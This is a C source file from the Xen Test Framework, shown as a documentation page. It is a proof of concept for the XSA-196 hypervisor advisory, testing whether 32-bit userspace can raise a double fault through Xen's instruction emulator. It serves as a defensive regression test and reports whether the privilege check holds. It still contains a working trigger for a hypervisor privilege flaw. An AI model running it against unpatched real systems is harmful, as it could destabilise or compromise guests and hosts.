main.c

Go to the documentation of this file.

#include <xtf.h>

const char test_title[] = "XSA-196 PoC";

bool test_needs_fep = true;

void custom_doublefault_handler(void);
asm(".align 16;"
    "custom_doublefault_handler:"
    /* Fake up "return EXINFO_SYM(DF, 0);" */
    "mov $(1 << 31 | " STR(X86_EXC_DF) " << 16), %eax;"
    "iretq;"
    );

static const struct xtf_idte idte = {
    .addr = _u(custom_doublefault_handler),
    .cs   = __KERN_CS,
};

static unsigned long __user_text compat_userspace(void)
{
    exinfo_t fault = 0;

    asm volatile (/* Drop into a 32bit compat code segment. */
                  "push $%c[cs32];"
                  "push $1f;"
                  "lretq; 1:"

                  /* Force `int $8` through the emulator. */
                  ".code32;"
                  "start_32bit:;"
                  _ASM_XEN_FEP
                  "1: int $%c[df]; 2:"
                  _ASM_EXTABLE_HANDLER(1b, 2b, %P[rec])

                  /* Return to 64bit. */
                  "ljmpl $%c[cs], $1f;"
                  "end_32bit:;"

                  ".code64; 1:"
                  : "+a" (fault)
                  : [df]   "i" (X86_EXC_DF),
                    [cs32] "i" (__USER_CS32),
                    [cs]   "i" (__USER_CS),
                    [rec] "p" (ex_record_fault_eax));

    return fault;
}

void test_main(void)
{
    /*
     * Sanity check the preconditions for this PoC working.  These settings
     * are very common.
     */
    ASSERT(idt[X86_EXC_OF].dpl == 3);
    ASSERT(idt[X86_EXC_DF].dpl == 0);

    /* Hook the custom doublefault handler. */
    xtf_set_idte(X86_EXC_DF, &idte);

    exinfo_t fault = exec_user(compat_userspace);

    switch ( fault )
    {
    case EXINFO_SYM(GP, EXC_EC_SYM(DF, IDT)):
        xtf_success("Success: #DF DPL was checked correctly\n");
        break;

    case EXINFO_SYM(DF, 0):
        xtf_failure("Fail: Userspace managed to invoke #DF\n");
        break;

    default:
        xtf_error("Error: Unexpected fault %#x\n", fault);
        break;
    }
}

/*
 * Local variables:
 * mode: C
 * c-file-style: "BSD"
 * c-basic-offset: 4
 * tab-width: 4
 * indent-tabs-mode: nil
 * End:
 */